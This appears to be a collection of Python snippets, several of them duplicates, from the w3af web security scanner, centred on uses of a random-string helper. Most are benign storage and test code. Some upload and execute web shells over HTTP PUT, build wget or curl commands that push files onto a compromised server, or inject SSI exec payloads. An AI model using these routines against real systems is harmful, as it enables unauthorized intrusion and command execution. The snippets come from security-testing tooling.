def _fingerprint_URLScan(self, fuzzable_request): """ Try to verify if URLScan is installed or not. """ # detect using GET # Get the original response orig_response = self._uri_opener.GET(fuzzable_request.get_url(), cache=True) if orig_response.get_code() != 404: # Now add the if header and try again headers = fuzzable_request.get_headers() headers['If'] = rand_alpha(8) if_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Translate'] = rand_alpha(8) translate_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Lock-Token'] = rand_alpha(8) lock_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(8) transfer_enc_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) if if_response.get_code() == 404 or translate_response.get_code() == 404 or\ lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404: self._report_finding('URLScan', lock_response)
def _get_ssi_strings(self): """ This method returns a list of server sides to try to include. :return: A string, see above. """ yield '<!--#exec cmd="echo -n %s;echo -n %s" -->' % (rand_alpha(5), rand_alpha(5))
def _get_table_prefix(self, table_prefix): if table_prefix is None: table_prefix = 'cached_disk_dict_%s' % rand_alpha(16) else: args = (table_prefix, rand_alpha(16)) table_prefix = 'cached_disk_dict_%s_%s' % args return table_prefix
def test_rand_alpha_with_seed(self): x = rand_alpha(length=10, seed=1) self.assertEqual(len(x), 10) y = rand_alpha(length=10, seed=1) self.assertEqual(len(y), 10) self.assertEqual(x, y) z = rand_alpha(length=10, seed=2) self.assertEqual(len(z), 10) self.assertNotEqual(y, z)
def _get_web_shells(self, extension): """ :yield: Tuples with file_content and file_name for web shells. """ for shell_str, orig_extension in shell_handler.get_webshells(extension): # If the webshell was webshell.php this will return a file_name # containing kgiwjxh.php (8 rand and the extension) file_name = '%s.%s' % (rand_alpha(8), orig_extension) yield shell_str, file_name # Now we want to return the webshell content <?php ... ?> but in a # file with the extension that the upload URL had. This makes our # chances of getting access a little greater file_name = '%s.%s' % (rand_alpha(8), extension) yield shell_str, file_name
def create_mutants(freq, mutant_str_list, fuzzable_param_list, append, fuzzer_config): """ This is a very important method which is called in order to create mutants. Usually called from fuzzer.py module. """ if not 'fuzz_form_files' in fuzzer_config: return [] if not isinstance(freq, HTTPPostDataRequest): return [] file_vars = freq.get_file_vars() if not file_vars: return [] fake_file_objs = [] ext = fuzzer_config['fuzzed_files_extension'] for mutant_str in mutant_str_list: if isinstance(mutant_str, basestring): # I have to create the NamedStringIO with a "name". # This is needed for MultipartPostHandler fname = "%s.%s" % (rand_alpha(7), ext) str_file = NamedStringIO(mutant_str, name=fname) fake_file_objs.append(str_file) res = Mutant._create_mutants_worker(freq, FileContentMutant, fake_file_objs, file_vars, append, fuzzer_config) return res
def audit(self, freq, orig_response, debugging_id): """ Searches for file upload vulns using a POST to author.dll. :param freq: A FuzzableRequest :param orig_response: The HTTP response associated with the fuzzable request :param debugging_id: A unique identifier for this call to audit() """ # Only run if we have the author URL for this frontpage instance if self._get_author_url() is None: return # Only identify one vulnerability of this type if kb.kb.get(self, 'frontpage'): return domain_path = freq.get_url().get_domain_path() # Upload only once to each directory if domain_path in self._already_tested: return self._already_tested.add(domain_path) rand_file = rand_alpha(6) + '.html' upload_id = self._upload_file(domain_path, rand_file, debugging_id) self._verify_upload(domain_path, rand_file, upload_id, debugging_id)
def transfer(self, data_str, destination): """ This method is used to transfer the data_str from w3af to the compromised server. """ if not self._command: self.can_transfer() commandTemplates = {} commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s' commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s' commandTemplates['curl'] = 'curl http://%s:%s/%s > %s' # Create the file filename = rand_alpha(10) file_path = get_temp_dir() + os.path.sep + filename f = file(file_path, 'w') f.write(data_str) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.get('local_ip_address'), self._inbound_port, get_temp_dir()) commandToRun = commandTemplates[self._command] % \ (cf.cf.get('local_ip_address'), self._inbound_port, filename, destination) self._exec_method(commandToRun) os.remove(file_path) return self.verify_upload(data_str, destination)
def setup(self): """ Setup all the required backend stores. This was mostly created to avoid starting any threads during __init__() which is called during python's import phase and dead-locks in some cases. :return: None """ with self._kb_lock: if self.initialized: return self.urls = DiskSet(table_prefix='kb_urls') self.fuzzable_requests = DiskSet(table_prefix='kb_fuzzable_requests') self.db = get_default_persistent_db_instance() self.table_name = 'knowledge_base_' + rand_alpha(30) self.db.create_table(self.table_name, self.COLUMNS) self.db.create_index(self.table_name, ['location_a', 'location_b']) self.db.create_index(self.table_name, ['uniq_id']) self.db.commit() # Only initialize once self.initialized = True
def _get_web_shells(self, extension): """ :yield: Tuples with file_content and file_name for web shells. """ for shell_str, orig_extension in shell_handler.get_webshells( extension): # If the webshell was webshell.php this will return a file_name # containing kgiwjxh.php (8 rand and the extension) file_name = '%s.%s' % (rand_alpha(8), orig_extension) yield shell_str, file_name # Now we want to return the webshell content <?php ... ?> but in a # file with the extension that the upload URL had. This makes our # chances of getting access a little greater file_name = '%s.%s' % (rand_alpha(8), extension) yield shell_str, file_name
def __init__(self, table_prefix=None, dump=None, load=None): """ :param table_prefix: The DBMS table prefix, mostly for debugging. :param dump: The function to use to serialize the object :param load: The function to use to deserialize the object """ self.db = get_default_temp_db_instance() prefix = '' if table_prefix is None else ('%s_' % table_prefix) self.table_name = 'disk_list_' + prefix + rand_alpha(30) self.dump = dump self.load = load # Create table # DO NOT add the AUTOINCREMENT flag to the table creation since that # will break __getitem__ when an item is removed, see: # http://www.sqlite.org/faq.html#q1 columns = [('index_', 'INTEGER'), ('eq_attrs', 'TEXT'), ('pickle', 'BLOB')] pks = ['index_'] self.db.create_table(self.table_name, columns, pks) self.db.create_index(self.table_name, ['eq_attrs']) self.db.commit() self._state = OPEN
def audit(self, freq, orig_response): """ Searches for file upload vulns using a POST to author.dll. :param freq: A FuzzableRequest """ domain_path = freq.get_url().get_domain_path() if kb.kb.get(self, 'frontpage'): # Nothing to do, I have found vuln(s) and I should stop on first msg = 'Not verifying if I can upload files to: "%s" using'\ ' author.dll. Because I already found a vulnerability.' om.out.debug(msg) return # I haven't found any vulns yet, OR i'm trying to find every # directory where I can write a file. if domain_path not in self._already_tested: self._already_tested.add(domain_path) # Find a file that doesn't exist and then try to upload it for _ in xrange(3): rand_file = rand_alpha(5) + '.html' rand_path_file = domain_path.url_join(rand_file) res = self._uri_opener.GET(rand_path_file) if is_404(res): upload_id = self._upload_file(domain_path, rand_file) self._verify_upload(domain_path, rand_file, upload_id) break else: msg = 'frontpage plugin failed to find a 404 page. This is'\ ' mostly because of an error in 404 page detection.' om.out.error(msg)
def _PUT(self, domain_path): """ Tests PUT method. """ # upload url = domain_path.url_join(rand_alpha(5)) rnd_content = rand_alnum(6) headers = Headers([('content-type', 'text/plain')]) put_response = self._uri_opener.PUT(url, data=rnd_content, headers=headers) # check if uploaded res = self._uri_opener.GET(url, cache=True) if res.get_body() == rnd_content: msg = 'File upload with HTTP PUT method was found at resource:' \ ' "%s". A test file was uploaded to: "%s".' msg = msg % (domain_path, res.get_url()) v = Vuln('Insecure DAV configuration', msg, severity.HIGH, [put_response.id, res.id], self.get_name()) v.set_url(url) v.set_method('PUT') self.kb_append(self, 'dav', v) # Report some common errors elif put_response.get_code() == 500: msg = 'DAV seems to be incorrectly configured. The web server' \ ' answered with a 500 error code. In most cases, this means'\ ' that the DAV extension failed in some way. This error was'\ ' found at: "%s".' % put_response.get_url() i = Info('DAV incorrect configuration', msg, res.id, self.get_name()) i.set_url(url) i.set_method('PUT') self.kb_append(self, 'dav', i) # Report some common errors elif put_response.get_code() == 403: msg = 'DAV seems to be correctly configured and allowing you to'\ ' use the PUT method but the directory does not have the'\ ' correct permissions that would allow the web server to'\ ' write to it. This error was found at: "%s".' msg = msg % put_response.get_url() i = Info('DAV incorrect configuration', msg, [put_response.id, res.id], self.get_name()) i.set_url(url) i.set_method('PUT') self.kb_append(self, 'dav', i)
def can_exploit(self, opener): rand = rand_alpha(8) cmd = self.generate_command('echo %s|rev' % rand) # For some reason that I don't care about, rev adds a \n to the string # it reverses, even when I run the echo with "-n". expected_output = '%s\n' % rand[::-1] http_response = self.send(cmd, opener) return expected_output == self.extract_result(http_response)
def __init__(self): AuditPlugin.__init__(self) # Create some random strings, which the plugin will use. # for the fuzz_with_echo self._rnd = rand_alpha(5) self._rnd = self._rnd.lower() self._expected_result = self._rnd * self.PRINT_REPEATS # User configured parameters self._use_time_delay = True self._use_echo = True
def get_file_from_template(extension): file_name = "%s.%s" % (rand_alpha(7), extension) template_file = os.path.join(TEMPLATE_DIR, 'template.%s' % extension) if os.path.exists(template_file): file_content = file(template_file).read() success = True else: file_content = rand_alnum(64) success = False return success, file_content, file_name
def validate(self, value): expanded_path = os.path.expanduser(value) # In some scenarios we want to allow the end-user to choose an output # file that doesn't actually write to disk # # For example, in output.text_file the user might want to log to the # text log, but doesn't care about the HTTP requests and responses. In # that case the user specifies /dev/null as the output if expanded_path == '/dev/null': return value # This is useful for testing, the user specifies a script with $rnd$ in the # output file name, w3af will replace that string with 5 random chars. # # The user can then run the same script over and over without caring about # overwriting his output files. rnd = rand_alpha(5) value = expanded_path = expanded_path.replace('$rnd$', rnd) directory = os.path.abspath(os.path.dirname(expanded_path)) if os.path.isdir(expanded_path): msg = 'Invalid output file "%s", it must not be a directory.' raise BaseFrameworkException(msg % value) if not os.path.isdir(directory): msg = ('Invalid file option "%s", the directory "%s" does' ' not exist.') raise BaseFrameworkException(msg % (value, directory)) if not os.access(directory, os.W_OK): msg = ('Invalid file option "%s", the user does not have' ' enough permissions to write to the specified directory.') raise BaseFrameworkException(msg % value) if os.path.exists(value): if not os.access(value, os.W_OK): msg = ('Invalid file option "%s", the user does not have' ' enough permissions to write to the file.') raise BaseFrameworkException(msg % value) # Please note the following: # >>> os.path.abspath(os.path.dirname('')) # '/home/foobar/workspace/threading2' # # This is why we need this check: if value == '': msg = 'Invalid file option, you have to specify a non-empty value.' raise BaseFrameworkException(msg) return value
def _fingerprint_SecureIIS(self, fuzzable_request): """ Try to verify if SecureIIS is installed or not. """ # And now a final check for SecureIIS headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(1024 + 1) try: lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) except BaseFrameworkException, w3: om.out.debug( 'Failed to identify secure IIS, exception: ' + str(w3))
def can_exploit(self, opener): # Define a test command: rand = rand_alpha(8) expected_output = rand + '\n' if self._remote_os == 'windows': command = self.generate_command('echo %s' % rand) else: command = self.generate_command('/bin/echo %s' % rand) # Lets define the result header and footer. http_response = self.send(command, opener) return self._define_exact_cut(http_response.get_body(), expected_output)
def _fingerprint_URLScan(self, fuzzable_request): """ Try to verify if URLScan is installed or not. """ # detect using GET # Get the original response orig_response = self._uri_opener.GET( fuzzable_request.get_url(), cache=True) if orig_response.get_code() != 404: # Now add the if header and try again headers = fuzzable_request.get_headers() headers['If'] = rand_alpha(8) if_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Translate'] = rand_alpha(8) translate_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Lock-Token'] = rand_alpha(8) lock_response = self._uri_opener.GET(fuzzable_request.get_url(), headers=headers, cache=True) headers = fuzzable_request.get_headers() headers['Transfer-Encoding'] = rand_alpha(8) transfer_enc_response = self._uri_opener.GET( fuzzable_request.get_url(), headers=headers, cache=True) if if_response.get_code() == 404 or translate_response.get_code() == 404 or\ lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404: self._report_finding('URLScan', lock_response)
def __init__(self): self.db = get_default_temp_db_instance() self.table_name = rand_alpha(30) # Create table # DO NOT add the AUTOINCREMENT flag to the table creation since that # will break __getitem__ when an item is removed, see: # http://www.sqlite.org/faq.html#q1 columns = [('index_', 'INTEGER'), ('key', 'BLOB'), ('value', 'BLOB')] pks = ['index_'] self.db.create_table(self.table_name, columns, pks) self.db.create_index(self.table_name, ['key']) self.db.commit()
def _verify_vuln(self, vuln_obj): """ This command verifies a vuln. This is really hard work! :P :return : True if vuln can be exploited. """ # Create the shell filename = rand_alpha(7) extension = vuln_obj.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "%s".' % extension) # Upload the shell fname = '%s.%s' % (filename, extension) url_to_upload = vuln_obj.get_url().url_join(fname) om.out.debug('Uploading file %s using PUT method.' % url_to_upload) self._uri_opener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = URL(url_to_upload + '?cmd=') response = self._uri_opener.GET(exploit_url) if shell_handler.SHELL_IDENTIFIER in response.get_body(): msg = ( 'The uploaded shell returned the SHELL_IDENTIFIER, which' ' verifies that the file was uploaded and is being' ' executed.') om.out.debug(msg) self._exploit_url = exploit_url return True else: msg = ('The uploaded shell with extension: "%s" did NOT return' ' the SHELL_IDENTIFIER, which means that the file was' ' not uploaded to the remote server or the code is not' ' being run. The returned body was: "%s".') om.out.debug(msg % (extension, response.get_body())) extension = ''
def _verify_vuln(self, vuln_obj): """ This command verifies a vuln. This is really hard work! :P :return : True if vuln can be exploited. """ # Create the shell filename = rand_alpha(7) extension = vuln_obj.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "%s".' % extension) # Upload the shell fname = '%s.%s' % (filename, extension) url_to_upload = vuln_obj.get_url().url_join(fname) om.out.debug( 'Uploading file %s using PUT method.' % url_to_upload) self._uri_opener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = URL(url_to_upload + '?cmd=') response = self._uri_opener.GET(exploit_url) if shell_handler.SHELL_IDENTIFIER in response.get_body(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\ ' verifies that the file was uploaded and is being' \ ' executed.' om.out.debug(msg) self._exploit_url = exploit_url return True else: msg = 'The uploaded shell with extension: "%s" did NOT return'\ ' the SHELL_IDENTIFIER, which means that the file was'\ ' not uploaded to the remote server or the code is not'\ ' being run. The returned body was: "%s".' om.out.debug(msg % (extension, response.get_body())) extension = ''
def __init__(self): self.db = get_default_temp_db_instance() self.table_name = rand_alpha(30) # Create table # DO NOT add the AUTOINCREMENT flag to the table creation since that # will break __getitem__ when an item is removed, see: # http://www.sqlite.org/faq.html#q1 columns = [('index_', 'INTEGER'), ('eq_attrs', 'TEXT'), ('pickle', 'BLOB')] pks = ['index_'] self.db.create_table(self.table_name, columns, pks) self.db.create_index(self.table_name, ['eq_attrs',]) self.db.commit()
def test_rand_alpha(self): x = rand_alpha(length=10) self.assertEqual(len(x), 10) x = rand_alpha(length=20) self.assertEqual(len(x), 20) x = rand_alpha(length=5) y = rand_alpha(length=5) z = rand_alpha(length=5) w = rand_alpha(length=5) self.assertTrue(x != y != z != w)
def __init__(self, table_prefix=None): self.db = get_default_temp_db_instance() prefix = '' if table_prefix is None else ('%s_' % table_prefix) self.table_name = 'disk_dict_' + prefix + rand_alpha(30) # Create table # DO NOT add the AUTOINCREMENT flag to the table creation since that # will break __getitem__ when an item is removed, see: # http://www.sqlite.org/faq.html#q1 columns = [('index_', 'INTEGER'), ('key', 'BLOB'), ('value', 'BLOB')] pks = ['index_'] self.db.create_table(self.table_name, columns, pks) self.db.create_index(self.table_name, ['key']) self.db.commit()
def validate(self, value): expanded_path = os.path.expanduser(value) # This is useful for testing, the user specifies a script with $rnd$ in the # output file name, w3af will replace that string with 5 random chars. # # The user can then run the same script over and over without caring about # overwriting his output files. rnd = rand_alpha(5) value = expanded_path = expanded_path.replace('$rnd$', rnd) directory = os.path.abspath(os.path.dirname(expanded_path)) if os.path.isdir(expanded_path): msg = 'Invalid output file "%s", it must not be a directory.' raise BaseFrameworkException(msg % value) if not os.path.isdir(directory): msg = ('Invalid file option "%s", the directory "%s" does' ' not exist.') raise BaseFrameworkException(msg % (value, directory)) if not os.access(directory, os.W_OK): msg = ('Invalid file option "%s", the user does not have' ' enough permissions to write to the specified directory.') raise BaseFrameworkException(msg % value) if os.path.exists(value): if not os.access(value, os.W_OK): msg = ('Invalid file option "%s", the user does not have' ' enough permissions to write to the file.') raise BaseFrameworkException(msg % value) # Please note the following: # >>> os.path.abspath(os.path.dirname('')) # '/home/foobar/workspace/threading2' # # This is why we need this check: if value == '': msg = 'Invalid file option, you have to specify a non-empty value.' raise BaseFrameworkException(msg) return value
def __init__(self, table_prefix=None): self.db = get_default_temp_db_instance() prefix = '' if table_prefix is None else ('%s_' % table_prefix) self.table_name = 'disk_list_' + prefix + rand_alpha(30) # Create table # DO NOT add the AUTOINCREMENT flag to the table creation since that # will break __getitem__ when an item is removed, see: # http://www.sqlite.org/faq.html#q1 columns = [('index_', 'INTEGER'), ('eq_attrs', 'TEXT'), ('pickle', 'BLOB')] pks = ['index_'] self.db.create_table(self.table_name, columns, pks) self.db.create_index(self.table_name, ['eq_attrs']) self.db.commit() self._state = OPEN
def _check_existance(self, original_response, mutant): """ Actually check if the mutated URL exists. :return: None, all important data is put() to self.output_queue """ response = self._uri_opener.send_mutant(mutant) if not is_404(response) and relative_distance_lt(original_response.body, response.body, 0.85): # Verify against something random rand = rand_alpha() rand_mutant = mutant.copy() rand_mutant.set_mod_value(rand) rand_response = self._uri_opener.send_mutant(rand_mutant) if relative_distance_lt(response.body, rand_response.body, 0.85): for fr in self._create_fuzzable_requests(response): self.output_queue.put(fr)
def __init__(self): super(DBKnowledgeBase, self).__init__() self.urls = DiskSet() self.fuzzable_requests = DiskSet() self.db = get_default_persistent_db_instance() columns = [("location_a", "TEXT"), ("location_b", "TEXT"), ("uniq_id", "TEXT"), ("pickle", "BLOB")] self.table_name = rand_alpha(30) self.db.create_table(self.table_name, columns) self.db.create_index(self.table_name, ["location_a", "location_b"]) self.db.create_index(self.table_name, ["uniq_id"]) self.db.commit() # TODO: Why doesn't this work with a WeakValueDictionary? self.observers = {} # WeakValueDictionary() self.type_observers = {} # WeakValueDictionary() self.url_observers = [] self._observer_id = 0
def _check_existance(self, original_response, mutant): """ Actually check if the mutated URL exists. :return: None, all important data is put() to self.output_queue """ response = self._uri_opener.send_mutant(mutant) if not is_404(response) and \ fuzzy_not_equal(original_response.body, response.body, 0.85): # Verify against something random rand = rand_alpha() rand_mutant = mutant.copy() rand_mutant.set_mod_value(rand) rand_response = self._uri_opener.send_mutant(rand_mutant) if fuzzy_not_equal(response.body, rand_response.body, 0.85): for fr in self._create_fuzzable_requests(response): self.output_queue.put(fr)
def _check_existance(self, original_response, mutant): """ Actually check if the mutated URL exists. :return: None, all important data is put() to self.output_queue """ response = self._uri_opener.send_mutant(mutant) if is_404(response): return if fuzzy_not_equal(original_response.body, response.body, 0.85): # Verify against something random rand = rand_alpha() rand_mutant = mutant.copy() rand_mutant.set_token_value(rand) rand_response = self._uri_opener.send_mutant(rand_mutant) if fuzzy_not_equal(response.body, rand_response.body, 0.85): fr = FuzzableRequest(response.get_uri()) self.output_queue.put(fr)
def __init__(self): super(DBKnowledgeBase, self).__init__() self.urls = DiskSet(table_prefix='kb_urls') self.fuzzable_requests = DiskSet(table_prefix='kb_fuzzable_requests') self.db = get_default_persistent_db_instance() columns = [('location_a', 'TEXT'), ('location_b', 'TEXT'), ('uniq_id', 'TEXT'), ('pickle', 'BLOB')] self.table_name = 'knowledge_base_' + rand_alpha(30) self.db.create_table(self.table_name, columns) self.db.create_index(self.table_name, ['location_a', 'location_b']) self.db.create_index(self.table_name, ['uniq_id',]) self.db.commit() # TODO: Why doesn't this work with a WeakValueDictionary? self.observers = {} #WeakValueDictionary() self.type_observers = {} #WeakValueDictionary() self.url_observers = [] self._observer_id = 0
def __init__(self): super(DBKnowledgeBase, self).__init__() self.urls = DiskSet() self.fuzzable_requests = DiskSet() self.db = get_default_persistent_db_instance() columns = [('location_a', 'TEXT'), ('location_b', 'TEXT'), ('uniq_id', 'TEXT'), ('pickle', 'BLOB')] self.table_name = rand_alpha(30) self.db.create_table(self.table_name, columns) self.db.create_index(self.table_name, ['location_a', 'location_b']) self.db.create_index(self.table_name, [ 'uniq_id', ]) self.db.commit() # TODO: Why doesn't this work with a WeakValueDictionary? self.observers = {} #WeakValueDictionary() self.type_observers = {} #WeakValueDictionary() self.url_observers = [] self._observer_id = 0
def transfer(self, data_str, destination): """ This method is used to transfer the data_str from w3af to the compromised server. """ if not self._command: self.can_transfer() cmd_templates = { "wget": "wget http://%s:%s/%s -O %s", "lynx": "lynx -source http://%s:%s/%s > %s", "curl": "curl http://%s:%s/%s > %s", } # Create the file filename = rand_alpha(10) file_path = get_temp_dir() + os.path.sep + filename f = file(file_path, "w") f.write(data_str) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.get("local_ip_address"), self._inbound_port, get_temp_dir()) cmd_to_run = cmd_templates[self._command] % ( cf.cf.get("local_ip_address"), self._inbound_port, filename, destination, ) self._exec_method(cmd_to_run) os.remove(file_path) return self.verify_upload(data_str, destination)
class buffer_overflow(AuditPlugin): """ Find buffer overflow vulnerabilities. :author: Andres Riancho ([email protected]) """ OVERFLOW_ERRORS = ( '*** stack smashing detected ***:', 'Backtrace:', 'Memory map:', # Note that the lack of commas after the strings is intentional '<html><head>\n<title>500 Internal Server Error</title>\n' '</head><body>\n<h1>' 'Internal Server Error</h1>') _multi_in = multi_in(OVERFLOW_ERRORS) # TODO: if lengths = [ 65 , 257 , 513 , 1025, 2049, 4097, 8000 ] # then i get a BadStatusLine exception from urllib2, is seems to be an # internal error. Tested against tomcat 5.5.7 BUFFER_TESTS = [rand_alpha(l) for l in [65, 257, 513, 1025, 2049]] def __init__(self): """ Some notes: On Apache, when an overflow happends on a cgic script, this is written to the log: *** stack smashing detected ***: /var/www/.../buffer_overflow.cgi terminated, referer: http://localhost/w3af/bufferOverflow/buffer_overflow.cgi Premature end of script headers: buffer_overflow.cgi, referer: ... On Apache, when an overflow happends on a cgic script, this is returned to the user: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p> <p>More information about this error may be available in the server error log.</p> <hr> <address>Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6 Server at localhost Port 80</address> </body></html> Note that this is an Apache error 500, not the more common PHP error 500. """ AuditPlugin.__init__(self) def audit(self, freq, orig_response): """ Tests an URL for buffer overflow vulnerabilities. :param freq: A FuzzableRequest """ mutants = create_mutants(freq, self.BUFFER_TESTS, orig_resp=orig_response) args = zip(repeat(self._send_request), mutants) for result in self.worker_pool.imap_unordered(apply_with_return_error, args): # re-raise the thread exception in the main thread with this method # so we get a nice traceback instead of things like the ones we see # in https://github.com/andresriancho/w3af/issues/7287 if isinstance(result, Error): result.reraise() def _send_request(self, mutant): """ Sends a mutant to the remote web server. I wrap urllib's _send_mutant just to handle errors in a different way. """ try: response = self._uri_opener.send_mutant(mutant) except (BaseFrameworkException, ScanMustStopException): desc = 'A potential (most probably a false positive than a bug)' \ ' buffer-overflow was found when requesting: "%s", using' \ ' HTTP method %s. The data sent was: "%s".' desc = desc % (mutant.get_url(), mutant.get_method(), mutant.get_dc()) i = Info.from_mutant('Potential buffer overflow vulnerability', desc, [], self.get_name(), mutant) self.kb_append_uniq(self, 'buffer_overflow', i) else: self._analyze_result(mutant, response) def _analyze_result(self, mutant, response): """ Analyze results of the _send_mutant method. """ for error_str in self._multi_in.query(response.body): # And not in the original response if error_str not in mutant.get_original_response_body() and \ self._has_no_bug(mutant): desc = 'A potential buffer overflow (accurate detection is' \ ' hard...) was found at: %s' % mutant.found_at() v = Vuln.from_mutant('Buffer overflow vulnerability', desc, severity.MEDIUM, response.id, self.get_name(), mutant) v.add_to_highlight(error_str) self.kb_append_uniq(self, 'buffer_overflow', v) def get_plugin_deps(self): """ :return: A list with the names of the plugins that should be run before the current one. """ return ['grep.error_500'] def get_long_desc(self): """ :return: A DETAILED description of the plugin functions and features. """ return """
def _PUT(self, domain_path): """ Tests PUT method. """ # upload url = domain_path.url_join(rand_alpha(5)) rnd_content = rand_alnum(6) headers = Headers([('content-type', 'text/plain')]) put_response = self._uri_opener.PUT(url, data=rnd_content, headers=headers) # check if uploaded res = self._uri_opener.GET(url, cache=True) if res.get_body() == rnd_content: msg = ('File upload with HTTP PUT method was found at resource:' ' "%s". A test file was uploaded to: "%s".') msg = msg % (domain_path, res.get_url()) v = Vuln('Publicly writable directory', msg, severity.HIGH, [put_response.id, res.id], self.get_name()) v.set_url(url) v.set_method('PUT') self.kb_append(self, 'dav', v) # Report some common errors elif put_response.get_code() == 500: msg = ('DAV seems to be incorrectly configured. The web server' ' answered with a 500 error code. In most cases, this means' ' that the DAV extension failed in some way. This error was' ' found at: "%s".' % put_response.get_url()) i = Info('DAV incorrect configuration', msg, res.id, self.get_name()) i.set_url(url) i.set_method('PUT') self.kb_append(self, 'dav', i) # Report some common errors elif put_response.get_code() == 403: # handle false positive when PUT method is not supported # https://github.com/andresriancho/w3af/pull/2724/files if 'supported' in put_response.get_body().lower(): return msg = ('DAV seems to be correctly configured and allowing you to' ' use the PUT method but the directory does not have the' ' right permissions that would allow the web server to' ' write to it. This error was found at: "%s".') msg = msg % put_response.get_url() i = Info('DAV incorrect configuration', msg, [put_response.id, res.id], self.get_name()) i.set_url(url) i.set_method('PUT') self.kb_append(self, 'dav', i)